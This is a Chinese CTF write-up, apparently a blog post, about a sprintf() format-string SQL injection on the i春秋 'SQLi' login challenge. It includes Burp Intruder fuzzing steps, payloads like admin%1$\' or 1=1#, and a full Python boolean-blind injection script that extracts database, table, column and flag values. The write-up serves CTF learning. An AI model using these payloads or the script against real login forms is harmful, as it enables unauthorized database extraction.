打开题目网页是个很简单的登录网页

先查看源码,抓包

都没找到可用的信息

依我所见这里应该就是一个注入

但是怎么输入都会回显username错误

直到输入admin

尝试admin#

Admin’#   username错误。。。

尝试万能密码。。。。。失败

先用bp去测试过滤的符号发现%会出现不一样的情况(刚学会的方法)

(测试方法

  1. 抓包
  2. 传intruder
  3. Positions中clear其他变量给admin(需要测量的地方)后面加上一个字符
  4. Payloads中add需要测试的字符串或则符号
  5. start attack

    统计不一样的长度回显)

    回到网页中进行测试发现当username中存在%的时候会出现warning报错

    可能注入点就在这里了

    猜测就是sprintf()的漏洞

    关于sprintf()菜鸟教程给出如下解释

    这里附上一篇sprintf()漏洞利用的博客:https://blog.csdn.net/WQ_BCJ/article/details/85057447

    Payload:

    admin%1$\’ or 1=1#

    admin%1$\’ or 1=2#

    发现第一个会爆出密码错误第二个爆出用户名错误

    总结出or后面的内容如果错误则报出密码错误,如果正确就用户名错误

    所以这里就使用盲注

    这里附上一个dalao的脚本

    #coding:utf-8
    
    import requests
    import string def boom():
    url = r'http://083f8085e75f4ea099423ca97e616c729b921691cfe34e7c.changame.ichunqiu.com/index.php'
    s = requests.session()
    dic = string.digits + string.letters + "!@#$%^&*()_+{}-="
    right = 'password error!'
    error = 'username error!' lens = 0
    i = 0
    while True:
    payload = "admin%1$\\' or " + "length(database())>" + str(i) + "#"
    data={'username':payload,'password':1}
    r = s.post(url,data=data).content
    if error in r:
    lens=i
    break
    i+=1
    pass
    print("[+]length(database()): %d" %(lens)) strs=''
    for i in range(lens+1):
    for c in dic:
    payload = "admin%1$\\' or " + "ascii(substr(database()," + str(i) +",1))=" + str(ord(c)) + "#"
    data = {'username':payload,'password':1}
    r = s.post(url,data=data).content
    if right in r:
    strs = strs + c
    print strs
    break
    pass
    pass
    print("[+]database():%s" %(strs)) lens=0
    i = 1
    while True:
    payload = "admin%1$\\' or " + "(select length(table_name) from information_schema.tables where table_schema=database() limit 0,1)>" + str(i) + "#"
    data = {'username':payload,'password':1}
    r = s.post(url,data=data).content
    if error in r:
    lens = i
    break
    i+=1
    pass
    print("[+]length(table): %d" %(lens)) strs=''
    for i in range(lens+1):
    for c in dic:
    payload = "admin%1$\\' or " + "ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1)," + str(i) +",1))=" + str(ord(c)) + "#"
    data = {'username':payload,'password':1}
    r = s.post(url,data=data).content
    if right in r:
    strs = strs + c
    print strs
    break
    pass
    pass
    print("[+]table_name:%s" %(strs))
    tablename = '0x' + strs.encode('hex')
    table_name = strs lens=0
    i = 0
    while True:
    payload = "admin%1$\\' or " + "(select length(column_name) from information_schema.columns where table_name = " + str(tablename) + " limit 0,1)>" + str(i) + "#"
    data = {'username':payload,'password':1}
    r = s.post(url,data=data).content
    if error in r:
    lens = i
    break
    i+=1
    pass
    print("[+]length(column): %d" %(lens)) strs=''
    for i in range(lens+1):
    for c in dic:
    payload = "admin%1$\\' or " + "ascii(substr((select column_name from information_schema.columns where table_name = " + str(tablename) +" limit 0,1)," + str(i) + ",1))=" + str(ord(c)) + "#"
    data = {'username':payload,'password':1}
    r = s.post(url,data=data).content
    if right in r:
    strs = strs + c
    print strs
    break
    pass
    pass
    print("[+]column_name:%s" %(strs))
    column_name = strs num=0
    i = 0
    while True:
    payload = "admin%1$\\' or " + "(select count(*) from " + table_name + ")>" + str(i) + "#"
    data = {'username':payload,'password':1}
    r = s.post(url,data=data).content
    if error in r:
    num = i
    break
    i+=1
    pass
    print("[+]number(column): %d" %(num)) lens=0
    i = 0
    while True:
    payload = "admin%1$\\' or " + "(select length(" + column_name + ") from " + table_name + " limit 0,1)>" + str(i) + "#"
    data = {'username':payload,'password':1}
    r = s.post(url,data=data).content
    if error in r:
    lens = i
    break
    i+=1
    pass
    print("[+]length(value): %d" %(lens)) i=1
    strs=''
    for i in range(lens+1):
    for c in dic:
    payload = "admin%1$\\' or ascii(substr((select flag from flag limit 0,1)," + str(i) + ",1))=" + str(ord(c)) + "#"
    data = {'username':payload,'password':'1'}
    r = s.post(url,data=data).content
    if right in r:
    strs = strs + c
    print strs
    break
    pass
    pass
    print("[+]flag:%s" %(strs)) if __name__ == '__main__':
    boom()
    print 'Finish!'

      

    (源码地址:https://www.ichunqiu.com/writeup/detail/157)

    直接用盲注就爆出了flag

i春秋SQLi的更多相关文章

  1. 春秋-SQLi题

    这道题挺好的 学到的知识 sprintf()构成的sql注入漏洞 题目环境今天做的时候坏了 留下这几篇博客学习 https://blog.csdn.net/nzjdsds/article/detail ...

  2. 第二届i春秋挖洞大赛的一些感想

    挖洞比赛嘛,根据规则就是一个问题,如何在短时间内挖到更多.等级更高的漏洞? 先分析这个问题,需求是什么? 更多? 等级更高? 短时间内? 首先要解决的是时间的问题 时间有限,所以你必须要快.如何快?把 ...

  3. “百度杯”CTF比赛 九月场 类型:Web 题目名称:SQLi ---不需要逗号的注入技巧

    今天在i春秋做题的时候遇到了一道非常好的题目,于是在参考了wp的基础上自己复现了一遍,算作一种技巧的学习与收藏吧. 题目i春秋连接:https://www.ichunqiu.com/battalion ...

  4. sqli篇-本着就了解安全本质的想法,尽可能的用通俗易懂的语言去解释安全漏洞问题

    前言 最早接触安全也是从xss攻击和sql注入攻击开始的. 和xss一样屡居OWASPtop10 前三名的漏洞,sqli(sql Injection)sql注入攻击也是web安全中影响较大和影响范围较 ...

  5. i春秋url地址编码问题

    i春秋学院是国内比较知名的安全培训平台,前段时间看了下网站,顺便手工简单测试常见的XSS,发现网站搜索功能比较有意思. 其实是对用户输入的内容HTML编码和URL编码的处理方式在这里不合理,提交到乌云 ...

  6. 爱春秋之戏说春秋 Writeup

    爱春秋之戏说春秋 Writeup 第一关 图穷匕见 这一关关键是给了一个图片,将图片下载到本地后,打开以及查看属性均无任何发现,尝试把图片转换为.txt格式.在文本的最后发现这样一串有规律的代码: 形 ...

  7. i春秋——春秋争霸write up

    i春秋--春秋争霸write up 第一关 题目给出一张图 提示中,这种排列源于古老的奇书,暗含了两个数字,可以得出第一关的答案是两个数字 百度识图来一发, 得到图中排列是来自于洛书,点开洛书的百度百 ...

  8. SQLi filter evasion cheat sheet (MySQL)

    This week I presented my experiences in SQLi filter evasion techniques that I have gained during 3 y ...

  9. i春秋与我

    在i春秋论坛混迹了大半年了,在i春秋的在线平台学到了很多奇技淫巧,特别喜欢这个平台的气氛,以及虚拟在线网络环境的搭建, 忙周偷乐,过来也为i春秋做点小奉献,共同构造我们喜欢的春秋平台,成长特别快,特别 ...

  10. I春秋——Misc(贝斯家族)

    不好意思呀!最近一直忙着学习python,竟然忘记更新I春秋里面的题目了(QAQ),我以后会时时刻刻提醒自己要更新 永远爱你们的! ----新宝宝 1:贝斯家族: 解题思路:我相信看见这一题都能够想到 ...

随机推荐

  1. 华南理工大学 Python第5章课后小测-2

    1.(单选)下面语句的输出结果是: ls = [] def func(a, b): ls.append(b) return a*b s = func("hi", 2) print( ...

  2. 《网页设计基础——HTML常用标签》

    网页设计基础--HTML常用标签       一.网页框架: 格式: <html> <head> <title>网页标题</title> <sty ...

  3. C#,使用NPOI,导出excel文件

    /// <summary> /// 导出excel文件 /// </summary> /// <param name="dt">Table表数据 ...

  4. 【To B产品怎么做?】泛用户体验

    目录 - 什么是泛用户体验? - 如何做好泛用户体验? - 泛用户体验有什么用? *预计阅读时间15分钟 不知道你有没有过这种体验,客服妹子的声音软糯,氛围微妙,用词标准,张口就是:给你带来了不好的体 ...

  5. harbor高可用部署

    文章转载自:https://blog.csdn.net/networken/article/details/119704025 harbor高可用简介 harbor目前有两种主流的高可用方案: 多ha ...

  6. 第四章:Django表单 - 1:使用表单

    假设你想从表单接收用户名数据,一般情况下,你需要在HTML中手动编写一个如下的表单元素: <form action="/your-name/" method="po ...

  7. Kibana使用仪表盘汇总数据(Dashboard)

    仪表板可用于集中管理和分享可视化控件集合.构建一个仪表板用以包含您在本教程中已保存的可视化控件,方法如下: 1.在侧边导航栏点击 Dashboard . 2.点击 Add 显示已保存的可视化控件列表. ...

  8. Request Body Search

    官方文档地址:https://www.elastic.co/guide/en/elasticsearch/reference/master/modules-scripting-using.html

  9. 9. Fluentd部署:日志

    Fluentd是用来处理其他系统产生的日志的,它本身也会产生一些运行时日志.Fluentd包含两个日志层:全局日志和插件级日志.每个层次的日志都可以进行单独配置. 日志级别 Fluentd的日志包含6 ...

  10. Centos7安装redash

    一.更改yum国内源: (1)cd /etc/yum.repos.d/ sudo yum install wget (2)备份:sudo mv /etc/yum.repos.d/CentOS-Base ...